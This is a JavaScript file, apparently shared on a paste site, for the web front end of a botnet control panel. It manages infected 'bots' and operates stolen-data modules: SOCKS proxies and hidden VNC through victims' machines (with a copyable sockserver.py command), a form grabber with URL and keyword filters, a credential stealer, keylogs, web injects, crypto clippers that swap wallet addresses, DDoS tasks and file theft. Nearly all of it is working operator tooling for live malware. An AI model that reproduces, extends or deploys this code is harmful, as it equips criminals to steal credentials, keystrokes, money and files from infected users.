- '<li><a class="ebtn tr_ldr" data-f-cmd="files_del" data-f-query="cindex='+ j.cindex + '" data-f-confirm="Are you sure you want to delete?" uk-icon="icon: trash"></a></li>'+
- '<li><a class="ebtn tr_ldr" data-f-cmd="files_get_archive" data-f-query="cindex='+ j.cindex + '" data-f-cindex="'+ j.cindex + '" uk-icon="icon: cloud-download"></a></li>'+
- '</ul>'+
- '</td>'+
- '</tr>';
- }else if(cmd == 'socks_enum'){
- r = '<tr>'+
- '<td>' + j.bindex + '</td>'+
- '<td>' + j.ip + '</td>'+
- '<td>' + countries[j.countrycode.toUpperCase()] + '</td>'+
- '<td>' + j.socks_bot_port + '</td>'+
- '<td>' + j.socks_ip + ':' + j.socks_client_port + '</td>'+
- '<td>' + j.lastseen + '</td>'+
- '<td>'+
- '<ul class="uk-iconnav">'+
- '<li><a class="ebtn" cboard_copy="sockserver.py --botid='+ j.bindex +' --socksip='+ j.socks_ip +' --socksport='+ j.socks_client_port +' --botport='+ j.socks_bot_port +'" uk-icon="icon: move"></a></li>'+
- '<li><a class="ebtn tr_ldr" data-f-cmd="socks_del" data-f-query="bindex='+ j.bindex +'" data-f-confirm="Are you sure you want to delete?" uk-icon="icon: trash"></a></li>'+
- '</ul>'+
- '</td>'+
- '</tr>';
- }else if(cmd == 'vnc_enum'){
- r = '<tr>'+
- '<td>' + j.bindex + '</td>'+
- '<td>' + j.vncip + '</td>'+
- '<td>' + j.vncport + '</td>'+
- '<td>' + j.lastseen + '</td>'+
- '<td>'+
- '<ul class="uk-iconnav">'+
- '<li><a class="ebtn tr_ldr" data-f-cmd="vnc_del" data-f-query="bindex='+ j.bindex +'" data-f-confirm="Are you sure you want to delete?" uk-icon="icon: trash"></a></li>'+
- '</ul>'+
- '</td>'+
- '</tr>';
- }else if(cmd == 'forms_enum'){
- r = '<tr>'+
- '<td>' + j.findex + '</td>'+
- '<td><input class="uk-input uk-form-small uk-form-blank" value="'+ j.url +'" readonly></td>'+
- '<td><span class="uk-icon uk-icon-image browser_'+ j.browsername +'" readonly></span></td>'+
- '<td>' + j.bindex + '</td>'+
- '<td>' + j.addedon + '</td>'+
- '<td>'+
- '<ul class="uk-iconnav">'+
- '<li><a class="ebtn tr_ldr" data-f-cmd="forms_del" data-f-query="findex='+ j.findex + '" data-f-confirm="Are you sure you want to delete?" uk-icon="icon: trash"></a></li>'+
- '<li><a class="ebtn tr_ldr" data-f-cmd="forms_get" data-f-query="findex='+ j.findex + '" data-f-findex="'+ j.findex + '" data-f-form-cmd="dl" uk-icon="icon: cloud-download"></a></li>'+
- '<li><a class="ebtn tr_ldr" data-f-cmd="forms_get" data-f-query="findex='+ j.findex + '" data-f-findex="'+ j.findex + '" data-f-form-cmd="view" uk-icon="icon: git-branch"></a></li>'+
- '</ul>'+
- '</td>'+
- '</tr>';
- }else if(cmd == 'forms_blacklist_enum'){
- r = '<tr>'+
- '<td>' + j.pindex + '</td>'+
- '<td><input class="uk-input uk-form-small uk-form-blank" value="'+ j.url +'" readonly></td>'+
- '<td>'+
- '<ul class="uk-iconnav">'+
- '<li><a class="ebtn tr_ldr" data-f-cmd="forms_blacklist_del" data-f-query="pindex='+ j.pindex + '" data-f-confirm="Are you sure you want to delete?" uk-icon="icon: trash"></a></li>'+
- '</ul>'+
- '</td>'+
- '</tr>';
- }else if(cmd == 'forms_whitelist_enum'){
- r = '<tr>'+
- '<td>' + j.pindex + '</td>'+
- '<td><input class="uk-input uk-form-small uk-form-blank" value="'+ j.url +'" readonly></td>'+
- '<td>'+
- '<ul class="uk-iconnav">'+
- '<li><a class="ebtn tr_ldr" data-f-cmd="forms_whitelist_del" data-f-query="pindex='+ j.pindex + '" data-f-confirm="Are you sure you want to delete?" uk-icon="icon: trash"></a></li>'+
- '</ul>'+
- '</td>'+
- '</tr>';
- }else if(cmd == 'forms_keyword_enum'){
- r = '<tr>'+
- '<td>' + j.pindex + '</td>'+
- '<td><input class="uk-input uk-form-small uk-form-blank" value="'+ j.keyword +'" readonly></td>'+
- '<td>'+
- '<ul class="uk-iconnav">'+
- '<li><a class="ebtn tr_ldr" data-f-cmd="forms_keyword_del" data-f-query="pindex='+ j.pindex + '" data-f-confirm="Are you sure you want to delete?" uk-icon="icon: trash"></a></li>'+
- '</ul>'+
- '</td>'+
- '</tr>';
- }else if(cmd == 'clippers_enum'){
- r = '<tr>'+
- '<td>' + j.rindex + '</td>'+
- '<td>'+ j.coin_id + '</td>'+
- '<td><input class="uk-input uk-form-small uk-form-blank" value="'+ j.addr +'" readonly></td>'+
- '<td>'+
- '<ul class="uk-iconnav">'+
- '<li><a class="ebtn tr_ldr" data-f-cmd="clippers_del" data-f-query="rindex='+ j.rindex + '" data-f-confirm="Are you sure you want to delete?" uk-icon="icon: trash"></a></li>'+
- '</ul>'+
- '</td>'+
- '</tr>';
- }
- var tr = $(r).attr('data-f-query', JSON.stringify(j));
- body.append(tr);
- nrows++;
- });
- //if empty rows, then display message of no items found
- if(nrows == 0) body.append('<tr><td colspan="' + (tb.find('thead').first().find('tr').first().children().length) + '">No items found</td></tr>');
- //pagination
- var ul = tb.find('tfoot').first().find('ul.uk-pagination').first();
- ul.empty();
- create_pagination(ul, jsn.data.hdr.prev_page, jsn.data.hdr.page_count, $.param(jsn.data.hdr), cmd, tb_locator);
- //if it is a search then display how long query took to finished
- s = $('#query_secs');
- if(not_zero_str(jsn.data.hdr.is_search)) {
- s.text('About ' + jsn.data.hdr.total + ' results (' + jsn.data.hdr.query_secs + ' seconds)');
- s.removeAttr('hidden');
- }else{
- s.prop('hidden',true);
- }
- //update states
- if(cmd == 'bots_enum'){
- $('#bots_total').text(jsn.data.extra.total);
- $('#bots_alive').text(jsn.data.extra.alive);
- }
- }else{
- if( (cmd == 'tasks_add') ||
- (cmd == 'socks_add') ||
- (cmd == 'vnc_add') ||
- (cmd == 'forms_blacklist_add') ||
- (cmd == 'forms_whitelist_add') ||
- (cmd == 'forms_keyword_add') ||
- (cmd == 'clippers_add') ||
- (cmd == 'users_add')
- ){
- if ((cmd == 'socks_add') || (cmd == 'vnc_add')){
- if(cmd == 'socks_add'){
- var el_x = $('#tb_bots').find('a[data-f-cmd="socks-add"][data-f-bindex="'+ el.attr('data-f-bindex') +'"]');
- el_x.replaceWith('<a class="ebtn red-icon" data-f-cmd="socks_del" data-f-query="bindex='+ el_x.attr('data-f-bindex') +'" data-f-bindex="'+ el_x.attr('data-f-bindex') + '" data-f-confirm="Disable socks?" uk-icon="icon: location"></a>');
- }
- else if(cmd == 'vnc_add'){
- var el_x = $('#tb_bots').find('a[data-f-cmd="vnc-add"][data-f-bindex="'+ el.attr('data-f-bindex') +'"]');
- el_x.replaceWith('<a class="ebtn red-icon" data-f-cmd="vnc_del" data-f-query="bindex='+ el_x.attr('data-f-bindex') +'" data-f-bindex="'+ el_x.attr('data-f-bindex') + '" data-f-confirm="Disable vnc?" uk-icon="icon: desktop"></a>');
- }
- }else{
- //nothing
- }
- }
- else if ((cmd == 'bots_del') ||
- (cmd == 'forms_del') ||
- (cmd == 'tasks_del')||
- (cmd == 'stealer_del') ||
- (cmd == 'files_del') ||
- (cmd == 'socks_del') ||
- (cmd == 'scripts_del') ||
- (cmd == 'vnc_del') ||
- (cmd == 'ddos_del') ||
- (cmd == 'forms_blacklist_del') ||
- (cmd == 'forms_whitelist_del') ||
- (cmd == 'users_del') ||
- (cmd == 'clippers_del') ||
- (cmd == 'forms_keyword_del') ||
- (cmd == 'webinj_del')
- ){
- if (((cmd == 'socks_del') || (cmd == 'vnc_del')) && (el.closest('table').attr('id') == 'tb_bots')){
- if(cmd == 'socks_del'){
- el.replaceWith('<a class="create-modal" data-f-cmd="socks-add" data-f-bindex="'+ el.attr('data-f-bindex') +'" uk-icon="icon: location"></a>');
- }
- else if(cmd == 'vnc_del'){
- el.replaceWith('<a class="create-modal" data-f-cmd="vnc-add" data-f-bindex="'+ el.attr('data-f-bindex') +'" uk-icon="icon: desktop"></a>');
- }
- }else{
- var tb = el.closest('table');
- var tbody = el.closest('tbody');
- el.closest('tr').remove();
- if(tbody.find('tr').length == 0){
- tbody.append('<tr><td colspan="' + (tb.find('thead').first().find('tr').first().children().length) + '">No items found</td></tr>');
- }
- tb.find('tfoot').first().find('ul.uk-pagination').first().empty();
- }
- }
- //TASKS
- else if(cmd == 'tasks_edit'){
- }
- else if(cmd == 'tasks_del_private_all'){
- }
- //ACCOUNTS
- else if(cmd == 'users_update'){
- }
- else if(cmd == 'users_toggle_state'){
- el.attr('uk-icon', 'icon: ' + (not_zero_str(jsn.data.prev_state) ? 'play-circle' : 'ban'));
- var lb = el.closest('tr').find('.status-label').first();
- if(jsn.data.prev_state){
- lb.removeClass('uk-label-success');
- lb.addClass('uk-label-danger');
- lb.text('Disabled');
- el.attr('data-f-confirm', 'Are you sure you want to Enable this user?');
- }
- else{
- lb.removeClass('uk-label-danger');
- lb.addClass('uk-label-success');
- lb.text('Enabled');
- el.attr('data-f-confirm', 'Are you sure you want to Disable this user?');
- }
- }
- else if(cmd == 'create_sec_image'){
- $(el.attr('data-f-image')).attr('src',jsn.data);
- }
- else if(cmd == 'users_signin'){
- window.location.replace("index.php");
- }
- else if(cmd == 'users_signout'){
- //$('#users-sec-image-refresh').click();
- window.location.replace("index.php");
- }
- //FORM GRABBER
- else if(cmd == 'forms_get'){
- var act = el.attr('data-f-form-cmd');
- var bin = base64_to_bin(jsn.data);
- if(act == 'view'){
- var findex = el.attr('data-f-findex');
- var frm = $('#ev-forms-get');
- var iframe = frm.find('#forms-iframe');
- var dlbtn = frm.find('.dl-btn').first();
- dlbtn.attr('data-f-findex', findex);
- dlbtn.attr('data-f-query', 'findex='+findex);
- iframe.attr('src', window.URL.createObjectURL(new Blob([bin], { type: 'text/plain;charset=UTF-8'})));
- create_modal_handler(el,frm,'forms-get');
- }
- else if(act == 'dl'){
- trigger_dl('form-' + el.attr('data-f-findex') + '.txt', bin, true);
- }
- }
- else if((cmd =='forms_del_all') ||
- (cmd == 'forms_blacklist_del_all') ||
- (cmd == 'forms_whitelist_del_all') ||
- (cmd == 'tasks_del_all')||
- (cmd == 'stealer_del_all') ||
- (cmd == 'files_del_all') ||
- (cmd == 'socks_del_all') ||
- (cmd == 'ddos_del_all') ||
- (cmd == 'clippers_del_all') ||
- (cmd == 'vnc_del_all') ||
- (cmd == 'forms_keyword_del_all')||
- (cmd == 'webinj_del_all')
- ){
- var tb = $(el.attr('data-f-target-tb'));
- var tbody = tb.find('tbody').first();
- tbody.find('tr').remove();
- tbody.append('<tr><td colspan="' + (tb.find('thead').first().find('tr').first().children().length) + '">No items found</td></tr>');
- tb.find('tfoot').first().find('ul.uk-pagination').first().empty();
- }
- else if(cmd =='forms_keyword_exec'){
- //nothing
- }
- //stealer
- else if(cmd == 'stealer_get_json'){
- var cindex = el.attr('data-f-cindex');
- var frm = $('#ev-stealer-json-viewer');
- var iframe = frm.find('#stealer-json-iframe');
- var dlbtn = frm.find('.dl-btn').first();
- dlbtn.attr('data-f-cindex', cindex);
- dlbtn.attr('data-f-query', 'cindex='+cindex);
- stealer_json_content.jsn = jsn.data;
- $('#stealer-content-renderer').jsonBrowse(jsn.data,{
- collapsed: true
- });
- create_modal_handler(el,frm,'stealer-json-viewer');
- }
- else if(cmd == 'stealer_get_archive'){
- var bin = base64_to_bin(jsn.data);
- trigger_dl('stealer-' + el.attr('data-f-cindex') + '.zip', bin,true);
- }
- //SCRIPTS
- else if(cmd == 'scripts_get'){
- var bin = base64_to_bin(jsn.data);
- trigger_dl('script-report-' + el.attr('data-f-xindex') + '.txt', bin,true);
- }
- //KLOGS
- else if(cmd == 'klog_get_json'){
- var bindex = el.attr('data-f-bindex');
- var frm = $('#ev-klog-json-viewer');
- var dlbtn = frm.find('.dl-btn').first();
- dlbtn.attr('data-f-bindex', bindex);
- dlbtn.attr('data-f-query', 'bindex='+bindex);
- var s = frm.find('a[data-f-cmd="klog_set_status"]');
- s.attr('data-f-query', 'status=0&bindex='+ el.attr('data-f-bindex'));
- s.attr('data-f-bindex', el.attr('data-f-bindex'));
- $('#klog-content-renderer').jsonBrowse(jsn.data,{
- collapsed: true
- });
- create_modal_handler(el,frm,'klog-json-viewer');
- }
- else if(cmd == 'klog_get_archive'){
- var bin = base64_to_bin(jsn.data);
- trigger_dl('klog-' + el.attr('data-f-bindex') + '.json', bin,true);
- }
- else if(cmd == 'klog_set_status'){
- if(el.attr('data-f-status')=='1'){
- }else{
- }
- }
- //WEBINJECT
- else if(cmd == 'webinj_get'){
- trigger_dl('inject-' + el.attr('data-f-jindex') + '.txt', jsn.data, false);
- }
- //FILES
- else if(cmd == 'files_get_archive'){
- var bin = base64_to_bin(jsn.data);
- trigger_dl('files-' + el.attr('data-f-cindex') + '.zip', bin,true);
- }
- }
- if(mdl_close_btn) mdl_close_btn.click();
- }
- function openFileHelper(newWindow, file) {
- let blob = new Blob([file._data], {type: "${file._data.type}"});
- newWindow.location = URL.createObjectURL(blob);
- }
- function query_failure(cmd, msg, el,auth,parsed_without_error){
- if( (cmd == 'bots_enum') ||
- (cmd == 'tasks_enum') ||
- (cmd == 'forms_enum') ||
- (cmd == 'users_enum') ||
- (cmd == 'webinj_enum') ||
- (cmd == 'stealer_enum') ||
- (cmd == 'scripts_enum') ||
- (cmd == 'files_enum') ||
- (cmd == 'socks_enum') ||
- (cmd == 'vnc_enum') ||
- (cmd == 'ddos_enum') ||
- (cmd == 'clippers_enum') ||
- (cmd == 'forms_blacklist_enum') ||
- (cmd == 'forms_whitelist_enum') ||
- (cmd == 'forms_keyword_enum')
- ){
- var tb = $(el.attr('data-f-target-tb'));
- tb.find('tbody').first().empty();
- tb.find('tfoot').first().find('ul.uk-pagination').first().empty();
- }
- else if((cmd == 'tasks_add') ||
- (cmd == 'forms_blacklist_add') ||
- (cmd == 'forms_whitelist_add') ||
- (cmd == 'socks_add') ||
- (cmd == 'vnc_add') ||
- (cmd == 'add_enum') ||
- (cmd == 'forms_keyword_add') ||
- (cmd == 'users_add')
- ){
- //nothing
- }
- else if((cmd == 'bots_del') ||
- (cmd == 'forms_del') ||
- (cmd == 'tasks_del') ||
- (cmd == 'stealer_del') ||
- (cmd == 'socks_del') ||
- (cmd == 'ddos_del') ||
- (cmd == 'scripts_del') ||
- (cmd == 'files_del') ||
- (cmd == 'vnc_del') ||
- (cmd == 'clippers_del') ||
- (cmd == 'forms_blacklist_del') ||
- (cmd == 'forms_whitelist_del') ||
- (cmd == 'users_del') ||
- (cmd == 'forms_keyword_del') ||
- (cmd == 'webinj_del')
- ){
- //nothing
- }
- else if((cmd =='forms_del_all') ||
- (cmd == 'forms_blacklist_del_all') ||
- (cmd == 'forms_whitelist_del_all') ||
- (cmd == 'tasks_del_all') ||
- (cmd == 'stealer_del_all') ||
- (cmd == 'scripts_del_all') ||
- (cmd == 'files_del_all') ||
- (cmd == 'socks_del_all') ||
- (cmd == 'ddos_del_all') ||
- (cmd == 'clippers_del_all') ||
- (cmd == 'vnc_del_all') ||
- (cmd == 'forms_keyword_del_all') ||
- (cmd == 'webinj_del_all')
- ){
- //nothing
- }
- else if(cmd == 'tasks_edit'){
- }
- else if(cmd == 'tasks_del_private_all'){
- }
- else if(cmd == 'users_update'){
- }
- else if(cmd == 'users_toggle_state'){
- }
- else if(cmd == 'create_sec_image'){
- $(el.attr('data-f-image')).attr('src','#');
- }
- else if(cmd == 'users_signin'){
- $('#users-sec-image-refresh').click();
- }
- else if(cmd == 'users_signout'){
- $('#users-sec-image-refresh').click();
- }
- else if(cmd == 'forms_get'){
- var act = el.attr('data-f-form-cmd');
- if(act == 'view'){
- $('#forms-iframe').attr('src','about:blank');
- }else if(act == 'dl'){
- }
- }
- else if(cmd =='forms_keyword_exec'){
- //nothing
- }
- else if(cmd == 'webinj_get'){
- }
- else if(cmd == 'stealer_get_json'){
- }
- else if(cmd == 'stealer_get_archive'){
- }
- else if(cmd == 'scripts_get'){
- }
- else if(cmd == 'klog_get_json'){
- }
- else if(cmd == 'klog_get_archive'){
- }
- else if(cmd == 'klog_set_status'){
- }
- notice(msg, false, el.attr('data-f-alert-box'));
- var s = el.attr('data-f-view-on-failure')
- if(typeof s !== "undefined"){
- $(s).removeAttr('hidden');
- $(s).siblings('.exclusive-show').prop('hidden',true);
- }else{
- if(!auth && parsed_without_error){
- if((cmd != 'create_sec_image') && (cmd != 'users_signin') && (cmd != 'users_add') && (cmd != 'users_signout')) window.location.replace("index.php");
- }
- }
- }
- function create_modal(el,overflow,close_others,close_btn,title,body,close_btn_text,ok_btn_text){
- if(close_others) $('.data-modal').remove();
- var m = $( '<div class="data-modal" uk-modal bg-close="false">'+
- '<div class="uk-modal-dialog">'+
- (close_btn ? '<button class="uk-modal-close-default " type="button" uk-close></button>' : '' )+
- '<div class="uk-modal-header">'+
- '<p class="uk-text-uppercase uk-text-bold">'+ title +'</p>'+
- '</div>'+
- '<div class="uk-modal-body" '+ (overflow ? 'uk-overflow-auto' : '') +'></div>'+
- '<div class="uk-modal-footer uk-text-right">'+
- ( close_btn_text ? '<button class="uk-button ' + ( ok_btn_text ? 'uk-button-default' : 'uk-button-primary' ) + ' uk-modal-close" type="button">'+ close_btn_text +'</button>' : '')+
- ( ok_btn_text ? '<button class="uk-button uk-button-primary" type="button">'+ ok_btn_text +'</button>' : '' )+
- '</div>'+
- '</div>'+
- '</div>');
- m.find('.uk-modal-body').first().append(body);
- return UIkit.modal(m).show();
- }
- function create_form_modal(el,width,overflow,close_others,close_btn,title,frm){
- if(close_others) $('.data-modal').remove();
- var sz = {'small':'', 'medium':'uk-modal-container', 'full':'uk-modal-full'}[width];
- var m = $( '<div class="data-modal ' + sz + '" uk-modal bg-close="false">'+
- '<div class="uk-modal-dialog">'+
- (close_btn ? '<button class="uk-modal-close-full" type="button" uk-close></button>' : '' )+
- '<div class="uk-modal-header">'+
- '<p class="uk-text-uppercase uk-text-bold">'+ title +'</p>'+
- '</div>'+
- '<div class="uk-modal-body" ' + (overflow ? 'uk-overflow-auto' : '') +'></div>'+
- '</div>'+
- '</div>');
- m.find('.uk-modal-body').first().append(frm);
- return UIkit.modal(m).show();
- }
- function not_zero_str(s){
- //to deal with js x64 integer problem
- if(s.length == 0 || s == '0' || s == 0) return false
- return true;
- }
- function get_country(s){
- if(!s) s = 'ZZ';
- return countries[s];
- }
- function trigger_dl(fname, data, is_blob){
- var a = $('<a></a>')[0];
- a.download = fname;
- if(is_blob){
- a.href = window.URL.createObjectURL(data);
- }else {
- a.href = window.URL.createObjectURL(new Blob([data], { type: 'application/octet-stream'}));
- }
- a.click();
- }
- function base64_to_bin(data64) {
- var cbytes = atob(data64);
- var ibytes = cbytes.length;
- var islices = Math.ceil(ibytes / 1024);
- var byte_arrays = new Array(islices);
- for (let index = 0; index < islices; ++index) {
- var begin = index * 1024;
- var end = Math.min(begin + 1024, ibytes);
- var bytes = new Array(end - begin);
- for (var offset = begin, i = 0; offset < end; ++i, ++offset) {
- bytes[i] = cbytes[offset].charCodeAt(0);
- }
- byte_arrays[index] = new Uint8Array(bytes);
- }
- return new Blob(byte_arrays, { type: 'application/octet-stream' });
- }
- function play_alarm(name){
- var el = $('#alarm_' + name);
- if(el.length) el[0].play();
- }
- function copy_text_to_clipboard(data){
- var temp = $("<input>");
- $("body").append(temp);
- temp.val(data).focus().select();
- document.execCommand("copy");
- temp.remove();
- }
- var countries = {
- 'AD':'Andorra', 'AE':'United Arab Emirates', 'AF':'Afghanistan', 'AG':'Antigua and Barbuda', 'AI':'Anguilla', 'AL':'Albania', 'AM':'Armenia', 'AO':'Angola', 'AP':'Non-spec Asia Pas Location', 'AQ':'Antarctica', 'AR':'Argentina', 'AS':'American Samoa', 'AT':'Austria', 'AU':'Australia', 'AW':'Aruba', 'AX':'Aland Islands', 'AZ':'Azerbaijan' ,
- 'BA':'Bosnia and Herzegowina', 'BB':'Barbados', 'BD':'Bangladesh', 'BE':'Belgium', 'BF':'Burkina Faso', 'BG':'Bulgaria', 'BH':'Bahrain', 'BI':'Burundi', 'BJ':'Benin', 'BM':'Bermuda', 'BN':'Brunei Darussalam', 'BO':'Bolivia', 'BQ':'Bonaire; Sint Eustatius; Saba', 'BR':'Brazil', 'BS':'Bahamas', 'BT':'Bhutan', 'BW':'Botswana', 'BY':'Belarus', 'BZ':'Belize',
- 'CA':'Canada', 'CD':'Congo The Democratic Republic of The', 'CF':'Central African Republic', 'CG':'Congo', 'CH':'Switzerland', 'CI':'Cote D\'ivoire', 'CK':'Cook Islands', 'CL':'Chile', 'CM':'Cameroon', 'CN':'China', 'CO':'Colombia', 'CR':'Costa Rica', 'CU':'Cuba', 'CV':'Cape Verde', 'CW':'Curacao', 'CY':'Cyprus', 'CZ':'Czech Republic',
- 'DE':'Germany', 'DJ':'Djibouti','DK':'Denmark', 'DM':'Dominica', 'DO':'Dominican Republic', 'DZ':'Algeria',
- 'EC':'Ecuador', 'EE':'Estonia', 'EG':'Egypt', 'ER':'Eritrea', 'ES':'Spain', 'ET':'Ethiopia', 'EU':'European Union',
- 'FI':'Finland', 'FJ':'Fiji', 'FK':'Falkland Islands (MALVINAS)', 'FM':'Micronesia Federated States of', 'FO':'Faroe Islands', 'FR':'France',
- 'GA':'Gabon', 'GB':'United Kingdom', 'GD':'Grenada', 'GE':'Georgia', 'GF':'French Guiana', 'GG':'Guernsey', 'GH':'Ghana', 'GI':'Gibraltar', 'GL':'Greenland', 'GM':'Gambia', 'GN':'Guinea', 'GP':'Guadeloupe', 'GQ':'Equatorial Guinea', 'GR':'Greece', 'GT':'Guatemala', 'GU':'Guam', 'GW':'Guinea-bissau', 'GY':'Guyana',
- 'HK':'Hong Kong', 'HN':'Honduras', 'HR':'Croatia (LOCAL Name: Hrvatska)', 'HT':'Haiti', 'HU':'Hungary',
- 'ID':'Indonesia', 'IE':'Ireland', 'IL':'Israel', 'IM':'Isle of Man', 'IN':'India', 'IO':'British Indian Ocean Territory', 'IQ':'Iraq', 'IR':'Iran (ISLAMIC Republic Of)', 'IS':'Iceland', 'IT':'Italy',
- 'JE':'Jersey', 'JM':'Jamaica', 'JO':'Jordan', 'JP':'Japan',
- 'KE':'Kenya', 'KG':'Kyrgyzstan', 'KH':'Cambodia', 'KI':'Kiribati', 'KM':'Comoros', 'KN':'Saint Kitts and Nevis', 'KP':'Korea Democratic People\'s Republic of', 'KR':'Korea Republic of', 'KW':'Kuwait', 'KY':'Cayman Islands', 'KZ':'Kazakhstan',
- 'LA':'Lao People\'s Democratic Republic', 'LB':'Lebanon', 'LC':'Saint Lucia', 'LI':'Liechtenstein', 'LK':'Sri Lanka', 'LR':'Liberia', 'LS':'Lesotho', 'LT':'Lithuania', 'LU':'Luxembourg', 'LV':'Latvia', 'LY':'Libyan Arab Jamahiriya',
- 'MA':'Morocco', 'MC':'Monaco', 'MD':'Moldova Republic of', 'ME':'Montenegro', 'MF':'Saint Martin', 'MG':'Madagascar', 'MH':'Marshall Islands', 'MK':'Macedonia', 'ML':'Mali', 'MM':'Myanmar', 'MN':'Mongolia', 'MO':'Macau', 'MP':'Northern Mariana Islands', 'MQ':'Martinique', 'MR':'Mauritania', 'MS':'Montserrat', 'MT':'Malta', 'MU':'Mauritius', 'MV':'Maldives', 'MW':'Malawi', 'MX':'Mexico', 'MY':'Malaysia', 'MZ':'Mozambique',
- 'NA':'Namibia', 'NC':'New Caledonia', 'NE':'Niger', 'NF':'Norfolk Island', 'NG':'Nigeria', 'NI':'Nicaragua', 'NL':'Netherlands', 'NO':'Norway', 'NP':'Nepal', 'NR':'Nauru', 'NU':'Niue', 'NZ':'New Zealand',
- 'OM':'Oman',
- 'PA':'Panama', 'PE':'Peru', 'PF':'French Polynesia', 'PG':'Papua New Guinea', 'PH':'Philippines', 'PK':'Pakistan', 'PL':'Poland', 'PM':'St. Pierre and Miquelon', 'PR':'Puerto Rico', 'PS':'Palestinian Territory Occupied', 'PT':'Portugal', 'PW':'Palau', 'PY':'Paraguay',
- 'QA':'Qatar',
- 'RE':'Reunion', 'RO':'Romania', 'RS':'Serbia', 'RU':'Russian Federation', 'RW':'Rwanda',
- 'SA':'Saudi Arabia', 'SB':'Solomon Islands', 'SC':'Seychelles', 'SD':'Sudan', 'SE':'Sweden', 'SG':'Singapore', 'SI':'Slovenia', 'SK':'Slovakia (SLOVAK Republic)', 'SL':'Sierra Leone', 'SM':'San Marino', 'SN':'Senegal', 'SO':'Somalia', 'SR':'Suriname', 'SS':'South Sudan', 'ST':'Sao Tome and Principe', 'SV':'El Salvador', 'SX':'Sint Maarten', 'SY':'Syrian Arab Republic', 'SZ':'Swaziland',
- 'TC':'Turks and Caicos Islands', 'TD':'Chad', 'TG':'Togo', 'TH':'Thailand', 'TJ':'Tajikistan', 'TK':'Tokelau', 'TL':'Timor-leste', 'TM':'Turkmenistan', 'TN':'Tunisia', 'TO':'Tonga', 'TR':'Turkey', 'TT':'Trinidad and Tobago', 'TV':'Tuvalu', 'TW':'Taiwan; Republic of China (ROC)', 'TZ':'Tanzania United Republic',
- 'UA':'Ukraine', 'UG':'Uganda', 'US':'United States', 'UY':'Uruguay', 'UZ':'Uzbekistan',
- 'VA':'Holy See (VATICAN City State)', 'VC':'Saint Vincent and The Grenadines', 'VE':'Venezuela', 'VG':'Virgin Islands (BRITISH)', 'VI':'Virgin Islands (U.S.)', 'VN':'Viet Nam', 'VU':'Vanuatu',
- 'WF':'Wallis and Futuna Islands', 'WS':'Samoa',
- 'YE':'Yemen', 'YT':'Mayotte',
- 'ZA':'South Africa', 'ZM':'Zambia', 'ZW':'Zimbabwe',
- 'ZZ':'Unknown'
- };
Add Comment
Please, Sign In to add comment